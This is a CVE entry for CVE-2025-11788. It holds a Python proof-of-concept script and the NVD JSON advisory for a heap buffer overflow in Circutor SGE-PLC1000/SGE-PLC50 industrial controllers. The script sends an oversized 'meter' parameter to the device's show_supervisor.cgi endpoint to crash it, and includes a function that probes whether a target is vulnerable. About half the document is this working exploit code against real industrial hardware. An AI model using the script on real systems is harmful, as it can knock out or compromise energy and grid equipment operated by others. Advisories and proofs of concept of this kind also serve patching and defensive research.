CVE-2025-11788

import requests # CVE-2025-11788 PoC - Circutor SGE-PLC Heap Buffer Overflow # Target: Circutor SGE-PLC1000/SGE-PLC50 # Vulnerability: Heap-based buffer overflow in ShowSupervisorParameters() TARGET_IP = "192.168.1.100" TARGET_PORT = 80 TARGET_URL = f"http://{TARGET_IP}:{TARGET_PORT}/cgi-bin/show_supervisor.cgi" # Generate oversized payload for meter parameter # The sprintf() function copies user input to fixed-size buffer without validation PAYLOAD_SIZE = 5000 # Large enough to overflow the buffer meter_payload = "A" * PAYLOAD_SIZE def exploit_buffer_overflow(): """ Exploit the heap buffer overflow in ShowSupervisorParameters() function. The GetParameter(meter) retrieves user input which is directly copied to a fixed-size buffer via sprintf() without size checking. """ params = { 'meter': meter_payload, 'action': 'show' } try: # Send malicious request to trigger overflow response = requests.get(TARGET_URL, params=params, timeout=10) print(f"[*] Request sent with payload size: {len(meter_payload)}") print(f"[*] Response status: {response.status_code}") # Check for signs of successful exploitation if response.status_code == 200: print("[+] Request completed - check device stability") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def check_vulnerability(): """ Check if target is vulnerable by examining response to normal vs oversized input. """ # Normal request normal_params = {'meter': 'test', 'action': 'show'} try: normal_resp = requests.get(TARGET_URL, params=normal_params, timeout=10) # Oversized request large_resp = requests.get(TARGET_URL, params={'meter': 'X' * 2048, 'action': 'show'}, timeout=10) # If device becomes unresponsive or returns error, likely vulnerable if large_resp.status_code != normal_resp.status_code: print("[!] Target appears vulnerable to buffer overflow") return True except: print("[!] Target may be vulnerable - device unresponsive") return True return False if __name__ == "__main__": print("[*] CVE-2025-11788 PoC for Circutor SGE-PLC") print("[*] Target: ShowSupervisorParameters() heap overflow") check_vulnerability()

{"cve": {"id": "CVE-2025-11788", "sourceIdentifier": "[email protected]", "published": "2025-12-02T13:15:51.027", "lastModified": "2025-12-03T19:19:01.820", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Heap-based buffer overflow vulnerability in Circutor SGE-PLC1000/SGE-PLC50 v9.0.2. In the 'ShowSupervisorParameters()' function, there is an unlimited user input that is copied to a fixed-size buffer via 'sprintf()'. The 'GetParameter(meter)' function retrieves the user input, which is directly incorporated into a buffer without size validation. An attacker can provide an excessively large input for the 'meter' parameter."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:H/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:circutor:sge-plc1000_firmware:9.0.2:*:*:*:*:*:*:*", "matchCriteriaId": "3FC715A9-6F95-4795-B3B1-1BFAF88ACCE9"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:circutor:sge-plc1000:-:*:*:*:*:*:*:*", "matchCriteriaId": "FFF41215-1018-42DD-9A7E-BBC2E5B4522D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:circutor:sge-plc50_firmware:9.0.2:*:*:*:*:*:*:*", "matchCriteriaId": "203C8B5E-582A-4680-B324-B9092F01462B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:circutor:sge-plc50:-:*:*:*:*:*:*:*", "matchCriteriaId": "447D1571-5329-422D-8E31-F4964E412FC3"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-circutor-products-0", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}